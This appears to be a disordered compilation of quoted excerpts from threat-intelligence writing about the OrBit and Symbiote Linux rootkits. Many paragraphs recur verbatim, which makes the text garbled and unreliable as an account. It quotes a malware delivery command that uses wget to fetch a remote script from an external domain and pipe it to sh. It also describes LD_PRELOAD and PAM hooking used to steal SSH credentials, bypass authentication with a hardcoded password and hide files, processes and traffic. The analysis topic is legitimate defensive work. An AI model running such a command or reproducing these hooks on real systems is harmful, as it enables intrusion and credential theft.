Orbit

That same year, a new two-stage delivery chain appeared: an infector embeds a dropper, which then extracts and installs the rootkit, with a cron job created to fetch updated payloads from an external domain.

wget --quiet http://cf0[.]pw/ 0 /etc/cron.hourly/ 0 -O- 2 >/dev/null|sh>/dev/null 2 >& 1

To make our library execute code immediately upon loading, we use the constructor attribute: void __attribute__ (( constructor )) init (). This tells the linker: “run this function before the main program even starts.”

LD_PRELOAD enables users to load shared objects into a process's address space before any other shared library and prior to execution; threat actors leverage it to overwrite existing functions used by dynamically linked programs.

That same year, a new two-stage delivery chain appeared: an infector embeds a dropper, which then extracts and installs the rootkit, with a cron job created to fetch updated payloads from an external domain.

it hooks 3 functions in the Pluggable Authentication Module library: pam_open_session , pam_authenticate and pam_acct_mgmt . By hooking these functions the malware is capable of stealing information from SSH connections and providing remote access to the attackers

Symbiote leverages its rootkit capabilities for remote access to the machine by hooking Linux Pluggable Authentication Module (PAM) functions and bypassing the authentication mechanism with a hardcoded password match.

That same year, a new two-stage delivery chain appeared: an infector embeds a dropper, which then extracts and installs the rootkit, with a cron job created to fetch updated payloads from an external domain.

Rootkits are a type of malware used by threat actors to gain complete control over a compromised resource and hide malicious activity.

The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz... is checked before each infection attempt to avoid re-infecting the same target.

All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding... LD_PRELOAD management, log suppression, and process hiding. | Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks...

The malware uses a hardcoded GID value ... to identify the files and processes that are related to the malware and based on that it will manipulate the behavior of the hooked functions.

The malware stores captured credentials and configuration data in a hidden directory called /lib/libseconf/, which standard tools cannot see due to the rootkit’s own hooks.

LD_PRELOAD enables users to load shared objects into a process's address space before any other shared library and prior to execution; threat actors leverage it to overwrite existing functions used by dynamically linked programs.

it hooks 3 functions in the Pluggable Authentication Module library: pam_open_session , pam_authenticate and pam_acct_mgmt . By hooking these functions the malware is capable of stealing information from SSH connections and providing remote access to the attackers

Symbiote leverages its rootkit capabilities for remote access to the machine by hooking Linux Pluggable Authentication Module (PAM) functions and bypassing the authentication mechanism with a hardcoded password match.

The malware hooks the pcap_loop function and pcap_packet_callback to filter out the traffic of the backdoor.

Symbiote ... harvest[s] credentials by hooking libc's read function and checking whether the process that is calling it is ssh or scp. OrBit hooks functions in libc, libpcap, and PAM to harvest credentials.

if so it will log the credentials to a file /lib/libntpVnQE6mk/sshpass.txt

it hooks 3 functions in the Pluggable Authentication Module library: pam_open_session , pam_authenticate and pam_acct_mgmt . By hooking these functions the malware is capable of stealing information from SSH connections and providing remote access to the attackers

Symbiote leverages its rootkit capabilities for remote access to the machine by hooking Linux Pluggable Authentication Module (PAM) functions and bypassing the authentication mechanism with a hardcoded password match.

Once inside a machine, it listens for login attempts through SSH and sudo, capturing usernames and passwords and saving them in a hidden directory that standard system scans cannot detect.

The malware hooks the pcap_loop function and pcap_packet_callback to filter out the traffic of the backdoor.

By hooking these functions the malware is capable of stealing information from SSH connections and providing remote access to the attackers... when the user name and the password equal to hardcoded values ... open the SSH connection.

Symbiote ... harvest[s] credentials by hooking libc's read function and checking whether the process that is calling it is ssh or scp. OrBit hooks functions in libc, libpcap, and PAM to harvest credentials.

a cron job created to fetch updated payloads from an external domain.

Both samples also have a reduced hook for the execve function: the execve hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat.